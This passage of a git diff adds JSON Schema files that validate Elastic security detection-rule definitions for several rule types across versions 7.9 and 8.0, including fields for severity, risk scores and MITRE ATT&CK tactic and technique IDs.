"array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "query", + "enum": [ + "query" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.9/7.9.saved_query.json b/etc/api_schemas/7.9/7.9.saved_query.json new file mode 100644 index 000000000..532d4a68d --- /dev/null +++ b/etc/api_schemas/7.9/7.9.saved_query.json @@ -0,0 +1,651 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "saved_id": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "saved_query", + "enum": [ + "saved_query" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "saved_id", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.9/7.9.threshold.json b/etc/api_schemas/7.9/7.9.threshold.json new file mode 100644 index 000000000..44001ca89 --- /dev/null +++ b/etc/api_schemas/7.9/7.9.threshold.json @@ -0,0 +1,679 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "kuery", + "enum": [ + "kuery", + "lucene" + ], + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "threshold": { + "additionalProperties": false, + "properties": { + "field": { + "default": "", + "type": "string" + }, + "value": { + "minimum": 1, + "type": "integer" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "threshold", + "enum": [ + "threshold" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query", + "author", + "license", + "threshold" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.0/8.0.base.json b/etc/api_schemas/8.0/8.0.base.json new file mode 100644 index 000000000..1f5e717e2 --- /dev/null +++ b/etc/api_schemas/8.0/8.0.base.json @@ -0,0 +1,334 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query", + "saved_query", + "machine_learning", + "eql", + "threshold", + "threat_match" + ], + "enumNames": [], + "type": "string" + } + }, + "required": [ + "author", + "description", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.0/8.0.eql.json b/etc/api_schemas/8.0/8.0.eql.json new file mode 100644 index 000000000..103e625c9 --- /dev/null +++ b/etc/api_schemas/8.0/8.0.eql.json @@ -0,0 +1,345 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "eql" + ], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "eql" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/8.0/8.0.machine_learning.json b/etc/api_schemas/8.0/8.0.machine_learning.json new file mode 100644 index 000000000..ccf730371 --- /dev/null +++ b/etc/api_schemas/8.0/8.0.machine_learning.json @@ -0,0 +1,347 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "anomaly_threshold": { + "format": "integer", + "type": "number" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "license": { + "type": "string" + }, + "machine_learning_job_id": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "type": "array" + } + ] + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + 